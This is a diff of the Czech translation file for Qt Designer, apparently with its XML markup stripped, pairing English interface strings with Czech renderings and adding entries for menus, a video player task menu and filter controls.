         Odstranit soubor
     
     
-        
         R
         L
     
     
-        
         I
         I
     
     
-        
         New Resource
         Nový zdroj
     
     
-        
         A
         A
     
     
-        
         Remove Resource or File
         Odstranit zdroj nebo soubor
     
     
-        
         %1 already exists.
 Do you want to replace it?
         Soubor %1 již existuje.
 Chcete jej nahradit?
     
     
-        
         The file does not appear to be a resource file; element '%1' was found where '%2' was expected.
         Soubor zřejmě není zdrojovým souborem; Na místě, kde byl očekáván prvek '%2' byl nalezen prvek '%1'.
     
     
-        
         %1 [read-only]
         %1 [pouze pro čtení]
     
     
-        
-        
         %1 [missing]
         %1 [chybí]
     
     
-        
         <no prefix>
         <žádná předpona>
     
     
-        
-        
         Resource files (*.qrc)
         Zdrojové soubory (*.qrc)
     
     
-        
         Import Resource File
         Zavést zdrojový soubor
     
     
-        
         newPrefix
         nováPředpona
     
     
-        
         Add Files
         Přidat soubory
     
     
-        
         Incorrect Path
         Nesprávný údaj o cestě
     
     
-        
-        
-        
-        
         Copy
         Kopírovat
     
     
-        
         Copy As...
         Kopírovat jako...
     
     
-        
         Keep
         Zachovat
     
     
-        
         Skip
         Přeskočit
     
     
-        
         Clone Prefix
         Zdvojit předponu
     
     
-        
         Enter the suffix which you want to add to the names of the cloned files.
 This could for example be a language extension like "_de".
         Zadejte, prosím, příponu, kterou chcete přidat k názvům zdvojených souborů.
 Může to být například jazykové rozšíření "_cs".
     
     
-        
-        
         Copy As
         Kopírovat jako
     
     
-        
         <p>The selected file:</p><p>%1</p><p>is outside of the current resource file's directory:</p><p>%2</p><p>Please select another path within this directory.<p>
         <p>Vybraný soubor: </p><p>%1</p><p>se nachází mimo adresář se zdrojovým souborem:</p><p>%2</p><p>Zvolte, prosím, jinou cestu, která je obsažena v tomto adresáři.</p>
     
     
-        
         Could not overwrite %1.
         %1 se nepodařilo přepsat.
     
     
-        
         Save Resource File
         Uložit zdrojový soubor
     
     
-        
         Could not write %1: %2
         Soubor %1 se nepodařilo zapsat: %2
     
     
-        
         Open Resource File
         Otevřít zdrojový soubor
     
@@ -3491,24 +2887,20 @@ Může to být například jazykové rozšíření "_cs".
     QtResourceView
     
-        
         Size: %1 x %2
 %3
         Velikost: %1 x %2
 %3
     
     
-        
         Edit Resources...
         Upravit zdroje...
     
     
-        
         Reload
         Nahrát znovu
     
     
-        
         Copy Path
         Kopírovat cestu
     
@@ -3516,7 +2908,6 @@ Může to být například jazykové rozšíření "_cs".
     QtResourceViewDialog
     
-        
         Select Resource
         Vybrat zdroj
     
@@ -3524,17 +2915,14 @@ Může to být například jazykové rozšíření "_cs".
     QtSizeFPropertyManager
     
-        
         %1 x %2
         %1 x %2
     
     
-        
         Width
         Šířka
     
     
-        
         Height
         Výška
     
@@ -3542,33 +2930,26 @@ Může to být například jazykové rozšíření "_cs".
     QtSizePolicyPropertyManager
     
-        
-        
         <Invalid>
         <Neplatný>
     
     
-        
         [%1, %2, %3, %4]
         [%1, %2, %3, %4]
     
     
-        
         Horizontal Policy
         Vodorovné nastavení
     
     
-        
         Vertical Policy
         Svislé nastavení
     
     
-        
         Horizontal Stretch
         Vodorovné protažení
     
     
-        
         Vertical Stretch
         Svislé protažení
     
@@ -3576,17 +2957,14 @@ Může to být například jazykové rozšíření "_cs".
     QtSizePropertyManager
     
-        
         %1 x %2
         %1 x %2
     
     
-        
         Width
         Šířka
     
     
-        
         Height
         Výška
     
@@ -3594,107 +2972,86 @@ Může to být například jazykové rozšíření "_cs".
     QtToolBarDialog
     
-        
         < S E P A R A T O R >
         < O D D Ě L O V A Č >
     
     
-        
         Customize Toolbars
         Přizpůsobit nástrojové pruhy
     
     
-        
         1
         1
     
     
-        
         Actions
         Činnosti
     
     
-        
         Toolbars
         Nástrojové pruhy
     
     
-        
         New
         Nový
     
     
-        
         Remove
         Odstranit
     
     
-        
         Rename
         Přejmenovat
     
     
-        
         Up
         Nahoru
     
     
-        
         <-
         <-
     
     
-        
         ->
         ->
     
     
-        
         Down
         Dolů
     
     
-        
         Current Toolbar Actions
         Činnosti současného nástrojového pruhu
     
     
-        
         Custom Toolbar
         Uživatelsky stanovené nástrojové pruhy
     
     
-        
         Add new toolbar
         Přidat nový nástrojový pruh
     
     
-        
         Remove selected toolbar
         Odstranit vybraný nástrojový pruh
     
     
-        
         Rename toolbar
         Přejmenovat nástrojový pruh
     
     
-        
         Move action up
         Posunout činnost nahoru
     
     
-        
         Remove action from toolbar
         Odstranit činnost z nástrojového pruhu
     
     
-        
         Add action to toolbar
         Přidat činnost do nástrojového pruhu
     
     
-        
         Move action down
         Posunout činnost dolů
     
@@ -3702,12 +3059,10 @@ Může to být například jazykové rozšíření "_cs".
     QtTreePropertyBrowser
     
-        
         Property
         Vlastnost
     
     
-        
         Value
         Hodnota
     
@@ -3715,64 +3070,52 @@ Může to být například jazykové rozšíření "_cs".
     SaveFormAsTemplate
     
-        
         Add path...
         Přidat cestu...
     
     
-        
         Template Exists
         Předloha již existuje
     
     
-        
         A template with the name %1 already exists.
 Do you want overwrite the template?
         Již existuje předloha s názvem %1.
 Chcete tuto předlohu přepsat?
     
     
-        
         Overwrite Template
         Přepsat předlohu
     
     
-        
         Open Error
         Chyba při otevírání
     
     
-        
         There was an error opening template %1 for writing. Reason: %2
         Předlohu %1 se nepodařilo otevřít pro zápis. Důvod: %2
     
     
-        
         Write Error
         Chyba při zápisu
     
     
-        
         There was an error writing the template %1 to disk. Reason: %2
         Předlohu %1 se nepodařilo zapsat do souboru na disku. Důvod: %2
     
     
-        
         Pick a directory to save templates in
         Vyberte adresář pro ukládání předloh
     
     
-        
         Save Form As Template
         Uložit formulář jako předlohu
     
     
-        
         &Category:
         &Skupina:
     
     
-        
         &Name:
         &Název:
     
@@ -3780,7 +3123,6 @@ Chcete tuto předlohu přepsat?
 
     ScriptErrorDialog
     
-        
         An error occurred while running the scripts for "%1":
 
         Při provádění skriptu "%1" se vyskytly chyby:
@@ -3790,22 +3132,18 @@ Chcete tuto předlohu přepsat?
 
     SelectSignalDialog
     
-        
         Go to slot
         Jít na zdířku
     
     
-        
         Select signal
         Vybrat signál
     
     
-        
         signal
         Signál
     
     
-        
         class
         Třída
     
@@ -3813,7 +3151,6 @@ Chcete tuto předlohu přepsat?
 
     SignalSlotConnection
     
-        
         SENDER(%1), SIGNAL(%2), RECEIVER(%3), SLOT(%4)
         VYSÍLAČ(%1), SIGNÁL(%2), PŘIJÍMAČ(%3), ZDÍŘKA(%4)
     
@@ -3821,32 +3158,26 @@ Chcete tuto předlohu přepsat?
 
     SignalSlotDialogClass
     
-        
         Signals and slots
         Signály a zdířky
     
     
-        
         Slots
         Zdířky
     
     
-        
         ...
         ...
     
     
-        
         Signals
         Signály
     
     
-        
         Add
         Přidat
     
     
-        
         Delete
         Smazat
     
@@ -3854,12 +3185,10 @@ Chcete tuto předlohu přepsat?
 
     Spacer
     
-        
         Horizontal Spacer '%1', %2 x %3
         Vodorovný vymezovač '%1', %2 x %3
     
     
-        
         Vertical Spacer '%1', %2 x %3
         Svislý vymezovač '%1', %2 x %3
     
@@ -3867,7 +3196,6 @@ Chcete tuto předlohu přepsat?
 
     TemplateOptionsPage
     
-        
         Template Paths
         Tab in preferences dialog
         Adresáře pro předlohy
@@ -3876,32 +3204,42 @@ Chcete tuto předlohu přepsat?
 
     ToolBarManager
     
-        
         Configure Toolbars...
         Nastavit nástrojové pruhy...
     
     
-        
         Window
         Okno
     
     
-        
         Help
         Nápověda
     
     
-        
         Style
         Styl
     
     
-        
         Dock views
         Kotvící okno
     
     
-        
+        File
+        Soubor
+    
+    
+        Edit
+        Úpravy
+    
+    
+        Tools
+        Nástroje
+    
+    
+        Form
+        Formulář
+    
+    
         Toolbars
         Nástrojové pruhy
     
@@ -3909,30 +3247,68 @@ Chcete tuto předlohu přepsat?
 
     VersionDialog
     
-        
         <h3>%1</h3><br/><br/>Version %2
         <h3>%1</h3><br/><br/>Verze %2
     
     
-        
         Qt Designer
         Qt Designer
     
     
-        
         <br/>Qt Designer is a graphical user interface designer for Qt applications.<br/>
         <br/>Qt Designer je obrazový návrhář uživatelského rozhraní pro programy Qt.<br/>
     
     
-        
-        %1<br/>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+        %1<br/>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
         %1<br/>Autorské právo (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).
     
+    
+        %1<br/>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+        %1<br/>Autorské právo (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).
+    
+
+
+    VideoPlayerTaskMenu
+    
+        Available Mime Types
+        Dostupné mime typy
+    
+    
+        Display supported mime types...
+        Zobrazit podporované mime typy...
+    
+    
+        Load...
+        Nahrát...
+    
+    
+        Play
+        Přehrát
+    
+    
+        Pause
+        Pozastavit
+    
+    
+        Stop
+        Zastavit
+    
+    
+        Choose Video Player Media Source
+        Vybrat zdroje se soubory pro přehrávač videa
+    
+    
+        An error has occurred in '%1': %2
+        V '%1': %2 se vyskytla chyba
+    
+    
+        Video Player Error
+        Chyba v přehrávači videa
+    
 
 
     WidgetDataBase
     
-        
         The file contains a custom widget '%1' whose base class (%2) differs from the current entry in the widget database (%3). The widget database is left unchanged.
         Soubor obsahuje uživatelsky stanovený prvek '%1', jehož základní třída (%2) se neshoduje se současným záznamem v databázi prvků (%3). databáze prvků se nemění.
     
@@ -3940,87 +3316,70 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ActionEditor
     
-        
         Actions
         Činnosti
     
     
-        
         New...
         Nový...
     
     
-        
         Delete
         Smazat
     
     
-        
         New action
         Nová činnost
     
     
-        
         Edit action
         Upravit činnost
     
     
-        
         Edit...
         Upravit...
     
     
-        
         Go to slot...
         Jít na zdířku...
     
     
-        
         Copy
         Kopírovat
     
     
-        
         Cut
         Vyjmout
     
     
-        
         Paste
         Vložit
     
     
-        
         Select all
         Vybrat vše
     
     
-        
         Icon View
         Pohled s ikonami
     
     
-        
         Detailed View
         Podrobný pohled
     
     
-        
         Remove actions
         Odstranit činnosti
     
     
-        
         Remove action '%1'
         Odstranit činnost '%1'
     
     
-        
         Used In
         Používaný v
     
     
-        
         Configure Action Editor
         Nastavit editor činností
     
@@ -4028,32 +3387,26 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ActionModel
     
-        
         Name
         Název
     
     
-        
         Used
         Používaný
     
     
-        
         Text
         Text
     
     
-        
         Shortcut
         Klávesová zkratka
     
     
-        
         Checkable
         Zaškrtnutelná
     
     
-        
         ToolTip
         Rada k nástroji
     
@@ -4061,27 +3414,22 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::BrushManagerProxy
     
-        
         The element '%1' is missing the required attribute '%2'.
         U prvku '%1' chybí vyžadovaná vlastnost '%2'..
     
     
-        
         Empty brush name encountered.
         Chybějící název u vymezení štětce.
     
     
-        
         An unexpected element '%1' was encountered.
         Byl zjištěn neplatný prvek '%1'.
     
     
-        
         An error occurred when reading the brush definition file '%1' at line line %2, column %3: %4
         Chyba při čtení souboru s vymezením štětce '%1' na řádku %2, sloupec %3: %4
     
     
-        
         An error occurred when reading the resource file '%1' at line %2, column %3: %4
         Chyba při čtení zdrojového souboru '%1' na řádku %2, sloupec %3: %4
     
@@ -4089,17 +3437,14 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::BuddyEditor
     
-        
         Add buddy
         Přidat kamaráda
     
     
-        
         Remove buddies
         Odstranit kamarády
     
     
-        
         Remove %n buddies
         
             Odstranit jednoho kamaráda
@@ -4108,7 +3453,6 @@ Chcete tuto předlohu přepsat?
         
     
     
-        
         Add %n buddies
         
             Přidat jednoho kamaráda
@@ -4117,7 +3461,6 @@ Chcete tuto předlohu přepsat?
         
     
     
-        
         Set automatically
         Nastavit automaticky
     
@@ -4125,7 +3468,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::BuddyEditorPlugin
     
-        
         Edit Buddies
         Upravit kamarády
     
@@ -4133,7 +3475,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::BuddyEditorTool
     
-        
         Edit Buddies
         Upravit kamarády
     
@@ -4141,12 +3482,10 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ButtonGroupMenu
     
-        
         Select members
         Vybrat členy
     
     
-        
         Break
         Zrušit
     
@@ -4154,32 +3493,26 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ButtonTaskMenu
     
-        
         Assign to button group
         Přiřadit ke skupině tlačítek
     
     
-        
         Button group
         Skupina tlačítek
     
     
-        
         New button group
         Nová skupina tlačítek
     
     
-        
         Change text...
         Změnit text...
     
     
-        
         None
         Žádný
     
     
-        
         Button group '%1'
         Skupina tlačítek '%1'
     
@@ -4187,57 +3520,46 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::CodeDialog
     
-        
         Save...
         Uložit...
     
     
-        
         Copy All
         Kopírovat vše
     
     
-        
         &Find in Text...
         &Najít v textu...
     
     
-        
         A temporary form file could not be created in %1.
         V adresáři %1 se nepodařilo vytvořit dočasný soubor s formulářem.
     
     
-        
         The temporary form file %1 could not be written.
         Dočasný soubor s formulářem %1 se nepodařilo zapsat.
     
     
-        
         %1 - [Code]
         %1 - [Kód]
     
     
-        
         Save Code
         Uložit kód
     
     
-        
         Header Files (*.%1)
         Hlavičkové soubory (*.%1)
     
     
-        
         The file %1 could not be opened: %2
         Soubor %1 se nepodařilo otevřít: %2
     
     
-        
         The file %1 could not be written: %2
         Soubor %1 se nepodařilo zapsat: %2
     
     
-        
         %1 - Error
         %1 - Chyba
     
@@ -4245,7 +3567,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ColorAction
     
-        
         Text Color
         Barva textu
     
@@ -4253,12 +3574,10 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ComboBoxTaskMenu
     
-        
         Edit Items...
         Upravit záznamy...
     
     
-        
         Change Combobox Contents
         Změnit obsah skupinové krabice
     
@@ -4266,7 +3585,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::CommandLinkButtonTaskMenu
     
-        
         Change description...
         Změnit popis...
     
@@ -4274,17 +3592,14 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ConnectionEdit
     
-        
         Select All
         Vybrat vše
     
     
-        
         Delete
         Smazat
     
     
-        
         Deselect All
         Zrušit výběr všeho
     
@@ -4292,52 +3607,42 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ConnectionModel
     
-        
         Sender
         Vysílač
     
     
-        
         Signal
         Signál
     
     
-        
         Receiver
         Přijímač
     
     
-        
         Slot
         Zdířka
     
     
-        
         <sender>
         <Vysílač>
     
     
-        
         <signal>
         <Signál>
     
     
-        
         <receiver>
         <Přijímač>
     
     
-        
         <slot>
         <Zdířka>
     
     
-        
         Signal and Slot Editor
         Editor signálů a zdířek
     
     
-        
         The connection already exists!<br>%1
         Toto spojení již existuje!<br>%1</br>
     
@@ -4345,42 +3650,34 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ContainerWidgetTaskMenu
     
-        
         Insert Page Before Current Page
         Vložit stranu před nynější stranu
     
     
-        
         Insert Page After Current Page
         Vložit stranu po nynější straně
     
     
-        
         Add Subwindow
         Přidat podokno
     
     
-        
         Delete
         Smazat
     
     
-        
         Insert
         Vložit
     
     
-        
         Subwindow
         Podokno
     
     
-        
         Page
         Strana
     
     
-        
         Page %1 of %2
         Strana %1 z %2
     
@@ -4388,19 +3685,16 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::DPI_Chooser
     
-        
          x 
         DPI X/Y separator
          x 
     
     
-        
         System (%1 x %2)
         System resolution
         Systémové rozlišení (%1 x %2)
     
     
-        
         User defined
         Stanoveno uživatelem
     
@@ -4408,49 +3702,38 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::DesignerPropertyManager
     
-        
-        
         AlignLeft
         Zarovnat k levému okraji
     
     
-        
         AlignHCenter
         Zarovnat vodorovně na střed
     
     
-        
         AlignRight
         Zarovnat k pravému okraji
     
     
-        
         AlignJustify
         Zarovnat do bloku
     
     
-        
         AlignTop
         Zarovnat k hornímu okraji
     
     
-        
-        
         AlignVCenter
         Zarovnat svisle na střed
     
     
-        
         AlignBottom
         Zarovnat k dolnímu okraji
     
     
-        
         %1, %2
         %1, %2
     
     
-        
         Customized (%n roles)
         
             Přizpůsobeno (role)
@@ -4459,75 +3742,58 @@ Chcete tuto předlohu přepsat?
         
     
     
-        
         Inherited
         Zděděno
     
     
-        
         Horizontal
         Vodorovný
     
     
-        
         Vertical
         Svislý
     
     
-        
         Normal Off
         Obvyklé, vypnuto
     
     
-        
         Normal On
         Obvyklé, zapnuto
     
     
-        
         Disabled Off
         Zakázáno, vypnuto
     
     
-        
         Disabled On
         Zakázáno, zapnuto
     
     
-        
         Active Off
         V činnosti, vypnuto
     
     
-        
         Active On
         V činnosti, zapnuto
     
     
-        
         Selected Off
         Vybráno, vypnuto
     
     
-        
         Selected On
         Vybráno, zapnuto
     
     
-        
-        
         translatable
         Překlad
     
     
-        
-        
         disambiguation
         Zabránění dvojznačnosti
     
     
-        
-        
         comment
         Poznámka
     
@@ -4535,48 +3801,38 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::DeviceProfileDialog
     
-        
         Device Profiles (*.%1)
         Profily zařízení (*.%1)
     
     
-        
         Default
         Výchozí
     
     
-        
         Save Profile
         Uložit profil
     
     
-        
         Save Profile - Error
         Chyba při ukládání profilu
     
     
-        
         Unable to open the file '%1' for writing: %2
         Soubor '%1' se nepodařilo otevřít pro zápis: %2
     
     
-        
         Unable to open the file '%1' for reading: %2
         Soubor '%1' se nepodařilo otevřít pro čtení: %2
     
     
-        
         '%1' is not a valid profile: %2
         '%1' není platným profilem: %2
     
     
-        
         Open profile
         Otevřít profil
     
     
-        
-        
         Open Profile - Error
         Chyba při otevírání profilu
     
@@ -4584,57 +3840,46 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::Dialog
     
-        
         Dialog
         Dialog
     
     
-        
         StringList
         Seznam řetězců znaků
     
     
-        
         New String
         Nový řetězec znaků
     
     
-        
         &New
         &Nový
     
     
-        
         Delete String
         Smazat řetězec znaků
     
     
-        
         &Delete
         &Smazat
     
     
-        
         &Value:
         &Hodnota:
     
     
-        
         Move String Up
         Posunout řetězec znaků nahoru
     
     
-        
         Up
         Nahoru
     
     
-        
         Move String Down
         Posunout řetězec znaků dolů
     
     
-        
         Down
         Dolů
     
@@ -4642,52 +3887,42 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::EmbeddedOptionsControl
     
-        
         None
         Žádný
     
     
-        
         Add a profile
         Přidat profil
     
     
-        
         Edit the selected profile
         Upravit vybraný profil
     
     
-        
         Delete the selected profile
         Smazat vybraný profil
     
     
-        
         Add Profile
         Přidat profil
     
     
-        
         New profile
         Nový profil
     
     
-        
         Edit Profile
         Upravit profil
     
     
-        
         Delete Profile
         Smazat profil
     
     
-        
         Would you like to delete the profile '%1'?
         Chcete smazat profil '%1'?
     
     
-        
         Default
         Výchozí
     
@@ -4695,20 +3930,25 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::FilterWidget
     
-        
         <Filter>
-        <FIltr>
+        <FIltr>
+    
+    
+        Filter
+        Filtr
+    
+    
+        Clear text
+        Smazat text
     
 
 
     qdesigner_internal::FormEditor
     
-        
         Resource File Changed
         Zdrojový soubor byl změněn
     
     
-        
         The file "%1" has changed outside Designer. Do you want to reload it?
         Zdrojový soubor "%1" byl změněn mimo program Designer. Chcete jej znovu nahrát?
     
@@ -4716,7 +3956,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::FormLayoutMenu
     
-        
         Add form layout row...
         Přidat řádek s rozvržením formuláře...
     
@@ -4724,44 +3963,34 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::FormWindow
     
-        
         Edit contents
         Upravit obsah
     
     
-        
         F2
         F2
     
     
-        
         Resize
         Změnit velikost
     
     
-        
-        
         Key Move
         Posunout s pomocí klávesnice
     
     
-        
         Paste error
         Chyba při vložení
     
     
-        
         Lay out
         Rozvržení
     
     
-        
-        
         Drop widget
         Vložit prvek
     
     
-        
         Paste %n action(s)
         
             Vložit jednu činnost
@@ -4770,12 +3999,14 @@ Chcete tuto předlohu přepsat?
         
     
     
-        
         Insert widget '%1'
         Vložit prvek '%1'
     
+    
+        Key Resize
+        Změnit velikost pomocí klávesnice
+    
     
-        
         Paste %n widget(s)
         
             Vložit jeden prvek
@@ -4784,37 +4015,30 @@ Chcete tuto předlohu přepsat?
         
     
     
-        
         Paste (%1 widgets, %2 actions)
         Vložit (%1 prvky, %2 činnosti)
     
     
-        
         Cannot paste widgets. Designer could not find a container without a layout to paste into.
         Prvky nelze vložit, protože se nepodařilo nalézt kontejner, který již nemá rozvržení.
     
     
-        
         Break the layout of the container you want to paste into, select this container and then paste again.
         Zrušte, prosím, rozvržení kontejneru, do kterého chcete vkládat. Vyberte jej znovu a proveďte vložení znovu.
     
     
-        
         Select Ancestor
         Vybrat nadřazený prvek
     
     
-        
         A QMainWindow-based form does not contain a central widget.
         Formulář založený na QMainWindow neobsahuje ústřední prvek.
     
     
-        
         Raise widgets
         Přenést prvky do popředí
     
     
-        
         Lower widgets
         Přenést prvky do pozadí
     
@@ -4822,12 +4046,10 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::FormWindowBase
     
-        
         Delete
         Smazat
     
     
-        
         Delete '%1'
         Smazat '%1'
     
@@ -4835,200 +4057,159 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::FormWindowManager
     
-        
         Cu&t
         Vyj&mout
     
     
-        
         Cuts the selected widgets and puts them on the clipboard
         Vyjme vybrané prvky a odloží je do schránky
     
     
-        
         &Copy
         &Kopírovat
     
     
-        
         Copies the selected widgets to the clipboard
         Zkopíruje vybrané prvky do schránky
     
     
-        
         &Paste
         &Vložit
     
     
-        
         Pastes the clipboard's contents
         Vloží obsah schránky
     
     
-        
         &Delete
         &Smazat
     
     
-        
         Deletes the selected widgets
         Smaže vybrané prvky
     
     
-        
         Select &All
         Vybrat &vše
     
     
-        
         Selects all widgets
         Vybere všechny prvky
     
     
-        
         Bring to &Front
         Přenést do &popředí
     
     
-        
-        
         Raises the selected widgets
         Přenese vybrané prvky do popředí
     
     
-        
         Send to &Back
         Přenést do po&zadí
     
     
-        
-        
         Lowers the selected widgets
         Přenese vybrané prvky do pozadí
     
     
-        
         Adjust &Size
         Přizpůsobit &velikost
     
     
-        
         Adjusts the size of the selected widget
         Spočítá velikost vybraného prvku z rozvržení a přizpůsobí velikost prvku
     
     
-        
         Lay Out &Horizontally
         Uspořádat předměty &vodorovně
     
     
-        
         Lays out the selected widgets horizontally
         Uspořádá vybrané předměty vodorovně
     
     
-        
         Lay Out &Vertically
         Uspořádat předměty &svisle
     
     
-        
         Lays out the selected widgets vertically
         Uspořádá vybrané předměty svisle
     
     
-        
         Lay Out in a &Grid
         Uspořádat předměty &tabulkově
     
     
-        
         Lays out the selected widgets in a grid
         Uspořádá vybrané předměty tabulkově
     
     
-        
         Lay Out Horizontally in S&plitter
         Uspořádat předměty vodorovně okolo &dělící příčky
     
     
-        
         Lays out the selected widgets horizontally in a splitter
         Uspořádá vybrané předměty vodorovně okolo dělící příčky
     
     
-        
         Lay Out Vertically in Sp&litter
         Uspořádat předměty svisle okolo dě&lící příčky
     
     
-        
         Lays out the selected widgets vertically in a splitter
         Uspořádá vybrané předměty svisle okolo dělící příčky
     
     
-        
         &Break Layout
         &Zrušit rozvržení
     
     
-        
         Breaks the selected layout
         Zruší vybrané rozvržení
     
     
-        
         &Preview...
         &Náhled...
     
     
-        
         Preview current form
         Náhled nynějšího formuláře
     
     
-        
         Form &Settings...
         &Nastavení formuláře...
     
     
-        
         Break Layout
         Zrušit rozvržení
     
     
-        
         Adjust Size
         Přizpůsobit velikost
     
     
-        
         Could not create form preview
         Title of warning message box
         Nepodařilo se vytvořit náhled formuláře
     
     
-        
         Form Settings - %1
         Nastavení formuláře - %1
     
     
-        
         Removes empty columns and rows
         Odstraní prázdné řádky a sloupce
     
     
-        
         Lay Out in a &Form Layout
         Uspořádat předměty v &rozvržení formuláře
     
     
-        
         Lays out the selected widgets in a form layout
         Uspořádá vybrané předměty v dvousloupcovém rozvržení formuláře
     
     
-        
         Si&mplify Grid Layout
         Z&jednodušit tabulkové rozvržení
     
@@ -5036,12 +4217,10 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::FormWindowSettings
     
-        
         None
         Žádný
     
     
-        
         Device Profile: %1
         Profil zařízení: %1
     
@@ -5049,37 +4228,30 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::GridPanel
     
-        
         Visible
         Viditelný
     
     
-        
         Snap
         Zapadnout
     
     
-        
         Reset
         Nastavit znovu
     
     
-        
         Form
         Formulář
     
     
-        
         Grid
         Mřížka
     
     
-        
         Grid &X
         Mřížka &x
     
     
-        
         Grid &Y
         Mřížka &y
     
@@ -5087,7 +4259,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::GroupBoxTaskMenu
     
-        
         Change title...
         Změnit název...
     
@@ -5095,7 +4266,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::HtmlTextEdit
     
-        
         Insert HTML entity
         Vložit HTML znak
     
@@ -5103,92 +4273,74 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::IconSelector
     
-        
         The pixmap file '%1' cannot be read.
         Soubor s pixmapou '%1' nelze přečíst.
     
     
-        
         The file '%1' does not appear to be a valid pixmap file: %2
         Soubor '%1' není platným souborem s pixmapou: %2
     
     
-        
         The file '%1' could not be read: %2
         Soubor %1 se nepodařilo přečít: %2
     
     
-        
         Pixmap Read Error
         Chyba při čtení pixmapy
     
     
-        
         ...
         ...
     
     
-        
         Normal Off
         Obvyklé, vypnuto
     
     
-        
         Normal On
         Obvyklé, zapnuto
     
     
-        
         Disabled Off
         Zakázáno, vypnuto
     
     
-        
         Disabled On
         Zakázáno, zapnuto
     
     
-        
         Active Off
         V činnosti, vypnuto
     
     
-        
         Active On
         V činnosti, zapnuto
     
     
-        
         Selected Off
         Vybráno, vypnuto
     
     
-        
         Selected On
         Vybráno, zapnuto
     
     
-        
         Choose Resource...
         Vybrat zdroj...
     
     
-        
         Choose File...
         Vybrat soubor...
     
     
-        
         Reset
         Nastavit znovu
     
     
-        
         Reset All
         Nastavit znovu vše
     
     
-        
         Choose a Pixmap
         Vybrat pixmapu
     
@@ -5196,58 +4348,46 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ItemListEditor
     
-        
         Properties &<<
         Vlastnosti &<<
     
     
-        
-        
         Properties &>>
         Vlastnosti &>>
     
     
-        
         Items List
         Seznam prvků
     
     
-        
         New Item
         Nový prvek
     
     
-        
         &New
         &Nový
     
     
-        
         Delete Item
         Smazat prvek
     
     
-        
         &Delete
         &Smazat
     
     
-        
         Move Item Up
         Posunout prvek nahoru
     
     
-        
         U
         U
     
     
-        
         Move Item Down
         Posunout prvek dolů
     
     
-        
         D
         D
     
@@ -5255,12 +4395,10 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::LabelTaskMenu
     
-        
         Change rich text...
         Změnit upravovatelný text...
     
     
-        
         Change plain text...
         Změnit prostý text...
     
@@ -5268,7 +4406,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::LanguageResourceDialog
     
-        
         Choose Resource
         Vybrat zdroj
     
@@ -5276,7 +4413,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::LineEditTaskMenu
     
-        
         Change text...
         Změnit text...
     
@@ -5284,17 +4420,14 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ListWidgetEditor
     
-        
         Edit List Widget
         Upravit seznam prvků
     
     
-        
         Edit Combobox
         Upravit skupinovou krabici
     
     
-        
         New Item
         Nový prvek
     
@@ -5302,12 +4435,10 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::ListWidgetTaskMenu
     
-        
         Edit Items...
         Upravit prvky...
     
     
-        
         Change List Contents
         Změnit obsah seznamu
     
@@ -5315,22 +4446,18 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::MdiContainerWidgetTaskMenu
     
-        
         Next Subwindow
         Další podokno
     
     
-        
         Previous Subwindow
         Předchozí podokno
     
     
-        
         Tile
         Uspořádat jedno vedle druhého
     
     
-        
         Cascade
         Překrývat
     
@@ -5338,7 +4465,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::MenuTaskMenu
     
-        
         Remove
         Odstranit
     
@@ -5346,7 +4472,6 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::MorphMenu
     
-        
         Morph into
         Přeměnit prvek na
     
@@ -5354,42 +4479,34 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::NewActionDialog
     
-        
         New Action...
         Nová činnost...
     
     
-        
         &Text:
         &Text:
     
     
-        
         Shortcut:
         Klávesová zkratka:
     
     
-        
         Checkable:
         Zaškrtnutelná:
     
     
-        
         ToolTip:
         Rada k nástroji:
     
     
-        
         ...
         ...
     
     
-        
         &Icon:
         &Ikona:
     
     
-        
         Object &name:
         &Název předmětu:
     
@@ -5397,41 +4514,34 @@ Chcete tuto předlohu přepsat?
 
     qdesigner_internal::NewDynamicPropertyDialog
     
-        
         Set Property Name
         Nastavit název vlastnosti
     
     
-        
         The current object already has a property named '%1'.
 Please select another, unique one.
         nynější předmět již má vlastnost s názvem '%1'.
 Zvolte, prosím, jiný, jedinečný název.
     
     
-        
         Create Dynamic Property
